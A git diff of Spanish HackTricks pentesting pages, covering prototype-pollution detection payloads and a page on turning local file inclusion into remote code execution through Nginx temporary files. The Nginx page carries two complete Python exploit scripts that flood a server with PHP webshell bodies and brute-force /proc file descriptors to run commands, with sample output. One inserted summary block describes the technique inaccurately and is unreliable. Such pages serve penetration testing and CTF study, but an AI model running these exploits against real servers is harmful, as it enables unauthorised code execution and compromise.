|
||||
|
||||
|
@ -69,51 +70,53 @@ Con la siguiente carga útil, es posible **ocultar un método de una respuesta O
|
|||
```
|
||||
### **Estado**
|
||||
|
||||
Es posible cambiar el **código de estado devuelto** utilizando el siguiente payload de PP:
|
||||
Es posible cambiar el **código de estado devuelto** utilizando la siguiente carga útil de PP:
|
||||
```json
|
||||
{"__proto__":{"status":510}}
|
||||
```
|
||||
### Error
|
||||
|
||||
Cuando asignas un prototipo con un primitivo como un string, se produce una **operación no válida ya que el prototipo tiene que ser un objeto**. Si intentas asignar un objeto prototipo al `Object.prototype` en sí mismo, esto **lanzará una excepción**. Podemos usar estos dos comportamientos para **detectar si la contaminación del prototipo fue exitosa**:
|
||||
Cuando asignas a un prototipo con un primitivo como una cadena, produce una **operación no-op ya que el prototipo tiene que ser un objeto**. Si intentas asignar un objeto prototipo al `Object.prototype` en sí, esto **lanzará una excepción**. Podemos usar estos dos comportamientos para **detectar si la contaminación de prototipos fue exitosa**:
|
||||
```javascript
|
||||
({}).__proto__.__proto__={}//throws type exception
|
||||
({}).__proto__.__proto__="x"//no-op does not throw exception
|
||||
```
|
||||
### Valor Reflejado
|
||||
|
||||
Si la aplicación está reflejando un objeto en la respuesta, simplemente puedes crear un atributo con un **nombre extraño y el `__proto__`** y si **sólo el extraño es reflejado**, es posible que la web sea vulnerable:
|
||||
Si la aplicación está reflejando un objeto en la respuesta, podrías simplemente crear un atributo con un **nombre extraño y el `__proto__`** y si **solo el nombre extraño se refleja**, es posible que la web sea vulnerable:
|
||||
```json
|
||||
{"hacktricks":"rocks","__proto__":"test"}
|
||||
```
|
||||
O si se utiliza Lodash o una biblioteca similar, se puede **establecer una propiedad a través de PP y dentro del objeto** y si esa propiedad no se refleja es porque Lodash mira el objeto actual para ver si la propiedad ya existe en el objeto fusionado:
|
||||
O si se utiliza una biblioteca similar a Lodash, puedes **establecer una propiedad a través de PP y dentro del objeto** y si esa propiedad no se refleja es porque Lodash examina el objeto actual para ver si la propiedad ya existe en el objeto fusionado:
|
||||
```javascript
|
||||
{"__proto__":{"a":"asd"},"a":"asd2","b":"dfg"}
|
||||
// If only b is reflected then PP in Lodash
|
||||
```
|
||||
## Miscelánea
|
||||
## Varios
|
||||
|
||||
### Permitir puntos
|
||||
### Permitir Puntos
|
||||
|
||||
Hay una opción en Express que te permite **crear objetos a partir de los parámetros de la cadena de consulta**.\
|
||||
Definitivamente podrías usarlo en una **cadena** de errores para explotar una vulnerabilidad de **polución de prototipos**.
|
||||
Existe una opción en Express que te permite **crear objetos a partir de parámetros de cadena de consulta**.\
|
||||
Definitivamente podrías usarla en una **cadena de bugs** para explotar una **vulnerabilidad de contaminación de prototipos**.
|
||||
```json
|
||||
{"__proto__":{"allowDots":true}}
|
||||
```
|
||||
**`?foo.bar=baz` crea un objeto en Node.**
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**`?foo.bar=baz` crea un objeto en Node.**
|
||||
|
|
|
@ -1,17 +1,18 @@
|
|||
## LFI2RCE a través de archivos temporales de Nginx
|
||||
# LFI2RCE a través de archivos temporales de Nginx
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de Github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Configuración vulnerable
|
||||
|
||||
* Código PHP:
|
||||
|
@ -32,28 +33,30 @@ chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
|
|||
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
|
||||
...
|
||||
```
|
||||
Afortunadamente, PHP se despliega actualmente a menudo a través de PHP-FPM y Nginx. Nginx ofrece una función de almacenamiento en búfer del cuerpo del cliente que a menudo se pasa por alto, la cual escribirá archivos temporales si el cuerpo del cliente (no limitado a POST) es mayor que un umbral determinado.
|
||||
```markdown
|
||||
Afortunadamente, PHP se despliega a menudo actualmente a través de PHP-FPM y Nginx. Nginx ofrece una característica de [buffering del cuerpo del cliente](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_body_buffer_size) que a menudo se pasa por alto, la cual escribirá archivos temporales si el cuerpo del cliente (no limitado a post) es mayor que un umbral determinado.
|
||||
|
||||
Esta función permite que las LFI sean explotadas sin necesidad de crear otros archivos, si Nginx se ejecuta con el mismo usuario que PHP (lo cual se hace muy comúnmente como www-data).
|
||||
Esta característica permite que los LFIs se exploten sin ninguna otra forma de crear archivos, si Nginx se ejecuta como el mismo usuario que PHP (muy comúnmente hecho como www-data).
|
||||
|
||||
Código relevante de Nginx:
|
||||
```
|
||||
```c
|
||||
ngx_fd_t
|
||||
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
|
||||
{
|
||||
ngx_fd_t fd;
|
||||
ngx_fd_t fd;
|
||||
|
||||
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
|
||||
access ? access : 0600);
|
||||
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
|
||||
access ? access : 0600);
|
||||
|
||||
if (fd != -1 && !persistent) {
|
||||
(void) unlink((const char *) name);
|
||||
}
|
||||
if (fd != -1 && !persistent) {
|
||||
(void) unlink((const char *) name);
|
||||
}
|
||||
|
||||
return fd;
|
||||
return fd;
|
||||
}
|
||||
```
|
||||
Es evidente que **el archivo temporal se elimina inmediatamente** después de ser abierto por Nginx. Afortunadamente, **procfs se puede utilizar para obtener una referencia** al archivo eliminado a través de una carrera:
|
||||
Es evidente que **tempfile se desvincula inmediatamente** después de ser abierto por Nginx. Afortunadamente, **procfs puede utilizarse para obtener aún una referencia** al archivo eliminado mediante una carrera:
|
||||
```
|
||||
...
|
||||
/proc/34/fd:
|
||||
|
@ -68,9 +71,9 @@ lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
|
|||
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
|
||||
...
|
||||
```
|
||||
Nota: No se puede incluir directamente `/proc/34/fd/15` en este ejemplo ya que la función `include` de PHP resolvería la ruta a `/var/lib/nginx/body/0000001368 (eliminado)` que no existe en el sistema de archivos. Afortunadamente, esta pequeña restricción se puede evitar mediante alguna indirección como: `/proc/self/fd/34/../../../34/fd/15` que finalmente ejecutará el contenido del archivo eliminado `/var/lib/nginx/body/0000001368`.
|
||||
Nota: No se puede incluir directamente `/proc/34/fd/15` en este ejemplo ya que la función `include` de PHP resolvería la ruta a `/var/lib/nginx/body/0000001368 (deleted)` la cual no existe en el sistema de archivos. Esta pequeña restricción puede ser afortunadamente evitada mediante una indirecta como: `/proc/self/fd/34/../../../34/fd/15` que finalmente ejecutará el contenido del archivo eliminado `/var/lib/nginx/body/0000001368`.
|
||||
|
||||
## Exploit completo
|
||||
## Explotación Completa
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import sys, threading, requests
|
||||
|
@ -80,93 +83,95 @@ import sys, threading, requests
|
|||
|
||||
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
|
||||
|
||||
# find nginx worker processes
|
||||
# find nginx worker processes
|
||||
r = requests.get(URL, params={
|
||||
'file': '/proc/cpuinfo'
|
||||
'file': '/proc/cpuinfo'
|
||||
})
|
||||
cpus = r.text.count('processor')
|
||||
|
||||
r = requests.get(URL, params={
|
||||
'file': '/proc/sys/kernel/pid_max'
|
||||
'file': '/proc/sys/kernel/pid_max'
|
||||
})
|
||||
pid_max = int(r.text)
|
||||
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
|
||||
|
||||
nginx_workers = []
|
||||
for pid in range(pid_max):
|
||||
r = requests.get(URL, params={
|
||||
'file': f'/proc/{pid}/cmdline'
|
||||
})
|
||||
r = requests.get(URL, params={
|
||||
'file': f'/proc/{pid}/cmdline'
|
||||
})
|
||||
|
||||
if b'nginx: worker process' in r.content:
|
||||
print(f'[*] nginx worker found: {pid}')
|
||||
if b'nginx: worker process' in r.content:
|
||||
print(f'[*] nginx worker found: {pid}')
|
||||
|
||||
nginx_workers.append(pid)
|
||||
if len(nginx_workers) >= cpus:
|
||||
break
|
||||
nginx_workers.append(pid)
|
||||
if len(nginx_workers) >= cpus:
|
||||
break
|
||||
|
||||
done = False
|
||||
|
||||
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
|
||||
def uploader():
|
||||
print('[+] starting uploader')
|
||||
while not done:
|
||||
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
|
||||
print('[+] starting uploader')
|
||||
while not done:
|
||||
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
|
||||
|
||||
for _ in range(16):
|
||||
t = threading.Thread(target=uploader)
|
||||
t.start()
|
||||
t = threading.Thread(target=uploader)
|
||||
t.start()
|
||||
|
||||
# brute force nginx's fds to include body files via procfs
|
||||
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
|
||||
def bruter(pid):
|
||||
global done
|
||||
global done
|
||||
|
||||
while not done:
|
||||
print(f'[+] brute loop restarted: {pid}')
|
||||
for fd in range(4, 32):
|
||||
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
|
||||
r = requests.get(URL, params={
|
||||
'file': f,
|
||||
'c': f'id'
|
||||
})
|
||||
if r.text:
|
||||
print(f'[!] {f}: {r.text}')
|
||||
done = True
|
||||
exit()
|
||||
while not done:
|
||||
print(f'[+] brute loop restarted: {pid}')
|
||||
for fd in range(4, 32):
|
||||
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
|
||||
r = requests.get(URL, params={
|
||||
'file': f,
|
||||
'c': f'id'
|
||||
})
|
||||
if r.text:
|
||||
print(f'[!] {f}: {r.text}')
|
||||
done = True
|
||||
exit()
|
||||
|
||||
for pid in nginx_workers:
|
||||
a = threading.Thread(target=bruter, args=(pid, ))
|
||||
a.start()
|
||||
a = threading.Thread(target=bruter, args=(pid, ))
|
||||
a.start()
|
||||
```
|
||||
# LFI to RCE via Nginx temp files
|
||||
```markdown
|
||||
# LFI a RCE a través de archivos temporales de Nginx
|
||||
|
||||
## Introducción
|
||||
La explotación de una vulnerabilidad de Inclusión de Archivos Locales (LFI) puede llevar a la ejecución remota de código (RCE) si se combinan ciertas condiciones. Una de estas condiciones es la presencia de archivos temporales en servidores web Nginx.
|
||||
|
||||
En algunos servidores web que utilizan Nginx como servidor proxy inverso, es posible explotar una vulnerabilidad de inclusión de archivos locales (LFI) para lograr la ejecución remota de código (RCE) a través de archivos temporales de Nginx.
|
||||
## Escenario
|
||||
|
||||
## Detalles
|
||||
|
||||
Cuando Nginx actúa como servidor proxy inverso, puede almacenar en caché las respuestas de los servidores de origen en archivos temporales. Estos archivos temporales se almacenan en un directorio temporal configurado en el archivo de configuración de Nginx.
|
||||
|
||||
Si un atacante puede controlar la entrada de un parámetro utilizado para incluir archivos locales en una solicitud HTTP, puede utilizar una secuencia de escape para acceder a un archivo temporal de Nginx que contenga el contenido de la respuesta de la solicitud original. A partir de ahí, el atacante puede inyectar código malicioso en el archivo temporal y luego hacer que Nginx lo ejecute.
|
||||
Un servidor web Nginx mal configurado puede dejar archivos temporales que pueden ser accedidos a través de una LFI. Estos archivos temporales suelen contener datos sensibles que pueden ser utilizados para escalar privilegios o ejecutar código.
|
||||
|
||||
## Explotación
|
||||
|
||||
Para explotar esta vulnerabilidad, el atacante debe seguir los siguientes pasos:
|
||||
Para explotar esta vulnerabilidad, sigue estos pasos:
|
||||
|
||||
1. Identificar un servidor web que utilice Nginx como servidor proxy inverso y que tenga habilitada la caché de archivos temporales.
|
||||
2. Identificar un parámetro que se utilice para incluir archivos locales en una solicitud HTTP.
|
||||
3. Utilizar una secuencia de escape para acceder a un archivo temporal de Nginx que contenga el contenido de la respuesta de la solicitud original.
|
||||
4. Inyectar código malicioso en el archivo temporal y hacer que Nginx lo ejecute.
|
||||
1. Identifica una LFI en la aplicación web.
|
||||
2. Sube un archivo PHP malicioso al servidor.
|
||||
3. Fuerza al servidor Nginx a crear un archivo temporal que incluya el archivo PHP.
|
||||
4. Accede al archivo temporal a través de la LFI.
|
||||
|
||||
## Mitigación
|
||||
|
||||
Para mitigar esta vulnerabilidad, se recomienda lo siguiente:
|
||||
Para mitigar este tipo de ataques, asegúrate de:
|
||||
|
||||
1. Deshabilitar la caché de archivos temporales de Nginx.
|
||||
2. Validar y filtrar cuidadosamente cualquier entrada de usuario que se utilice para incluir archivos locales en una solicitud HTTP.
|
||||
3. Mantener actualizado Nginx y aplicar parches de seguridad según sea necesario.
|
||||
- Configurar correctamente los permisos de los directorios y archivos.
|
||||
- Limpiar regularmente los archivos temporales.
|
||||
- Utilizar medidas de seguridad adicionales como WAF (Web Application Firewall).
|
||||
|
||||
## Conclusión
|
||||
|
||||
La combinación de una LFI y archivos temporales de Nginx mal gestionados puede resultar en una RCE. Es crucial implementar buenas prácticas de seguridad para prevenir este tipo de vulnerabilidades.
|
||||
```
|
||||
```
|
||||
$ ./pwn.py 127.0.0.1 1337
|
||||
[*] cpus: 2; pid_max: 32768
|
||||
|
@ -194,7 +199,7 @@ $ ./pwn.py 127.0.0.1 1337
|
|||
```
|
||||
### Otro Exploit
|
||||
|
||||
Este es de [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
||||
Esto es de [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
||||
```python
|
||||
import requests
|
||||
import threading
|
||||
|
@ -208,88 +213,88 @@ NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
|
|||
USE_NGINX_PIDS_CACHE = False
|
||||
|
||||
def create_requests_session():
|
||||
session = requests.Session()
|
||||
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
|
||||
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
|
||||
session.mount('http://', adapter)
|
||||
return session
|
||||
session = requests.Session()
|
||||
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
|
||||
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
|
||||
session.mount('http://', adapter)
|
||||
return session
|
||||
|
||||
def get_nginx_pids(requests_session):
|
||||
if USE_NGINX_PIDS_CACHE:
|
||||
return NGINX_PIDS_CACHE
|
||||
nginx_pids = set()
|
||||
# Scan up to PID 200
|
||||
for i in range(1, 200):
|
||||
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
|
||||
if cmdline.startswith("nginx: worker process"):
|
||||
nginx_pids.add(i)
|
||||
return nginx_pids
|
||||
if USE_NGINX_PIDS_CACHE:
|
||||
return NGINX_PIDS_CACHE
|
||||
nginx_pids = set()
|
||||
# Scan up to PID 200
|
||||
for i in range(1, 200):
|
||||
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
|
||||
if cmdline.startswith("nginx: worker process"):
|
||||
nginx_pids.add(i)
|
||||
return nginx_pids
|
||||
|
||||
def send_payload(requests_session, body_size=1024000):
|
||||
try:
|
||||
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
|
||||
payload = '<?php system("/readflag"); ?> //'
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
|
||||
payload = '<?php system("/readflag"); ?> //'
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
|
||||
def send_payload_worker(requests_session):
|
||||
while True:
|
||||
send_payload(requests_session)
|
||||
while True:
|
||||
send_payload(requests_session)
|
||||
|
||||
def send_payload_multiprocess(requests_session):
|
||||
# Use all CPUs to send the payload as request body for Nginx
|
||||
for _ in range(multiprocessing.cpu_count()):
|
||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||||
p.start()
|
||||
# Use all CPUs to send the payload as request body for Nginx
|
||||
for _ in range(multiprocessing.cpu_count()):
|
||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||||
p.start()
|
||||
|
||||
def generate_random_path_prefix(nginx_pids):
|
||||
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||||
path = ""
|
||||
component_num = random.randint(0, 10)
|
||||
for _ in range(component_num):
|
||||
pid = random.choice(nginx_pids)
|
||||
if random.randint(0, 1) == 0:
|
||||
path += f"/proc/{pid}/cwd"
|
||||
else:
|
||||
path += f"/proc/{pid}/root"
|
||||
return path
|
||||
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||||
path = ""
|
||||
component_num = random.randint(0, 10)
|
||||
for _ in range(component_num):
|
||||
pid = random.choice(nginx_pids)
|
||||
if random.randint(0, 1) == 0:
|
||||
path += f"/proc/{pid}/cwd"
|
||||
else:
|
||||
path += f"/proc/{pid}/root"
|
||||
return path
|
||||
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
||||
nginx_pid_list = list(nginx_pids)
|
||||
while True:
|
||||
path = generate_random_path_prefix(nginx_pid_list)
|
||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||||
try:
|
||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||||
except:
|
||||
continue
|
||||
# Flags are formatted as hxp{<flag>}
|
||||
if "hxp" in d:
|
||||
print("Found flag! ")
|
||||
print(d)
|
||||
nginx_pid_list = list(nginx_pids)
|
||||
while True:
|
||||
path = generate_random_path_prefix(nginx_pid_list)
|
||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||||
try:
|
||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||||
except:
|
||||
continue
|
||||
# Flags are formatted as hxp{<flag>}
|
||||
if "hxp" in d:
|
||||
print("Found flag! ")
|
||||
print(d)
|
||||
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
||||
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
|
||||
for fd in range(10, 45):
|
||||
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
|
||||
thread.start()
|
||||
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
|
||||
for fd in range(10, 45):
|
||||
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
|
||||
thread.start()
|
||||
|
||||
def read_file_multiprocess(requests_session, nginx_pids):
|
||||
for nginx_pid in nginx_pids:
|
||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||||
p.start()
|
||||
for nginx_pid in nginx_pids:
|
||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||||
p.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
print('[DEBUG] Creating requests session')
|
||||
requests_session = create_requests_session()
|
||||
print('[DEBUG] Getting Nginx pids')
|
||||
nginx_pids = get_nginx_pids(requests_session)
|
||||
print(f'[DEBUG] Nginx pids: {nginx_pids}')
|
||||
print('[DEBUG] Starting payload sending')
|
||||
send_payload_multiprocess(requests_session)
|
||||
print('[DEBUG] Starting fd readers')
|
||||
read_file_multiprocess(requests_session, nginx_pids)
|
||||
print('[DEBUG] Creating requests session')
|
||||
requests_session = create_requests_session()
|
||||
print('[DEBUG] Getting Nginx pids')
|
||||
nginx_pids = get_nginx_pids(requests_session)
|
||||
print(f'[DEBUG] Nginx pids: {nginx_pids}')
|
||||
print('[DEBUG] Starting payload sending')
|
||||
send_payload_multiprocess(requests_session)
|
||||
print('[DEBUG] Starting fd readers')
|
||||
read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
## Laboratorios
|
||||
|
||||
|
@ -303,12 +308,14 @@ if __name__ == "__main__":
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende AWS hacking de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# LFI2RCE a través de Segmentation Fault
|
||||
# LFI2RCE vía Fallo de Segmentación
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
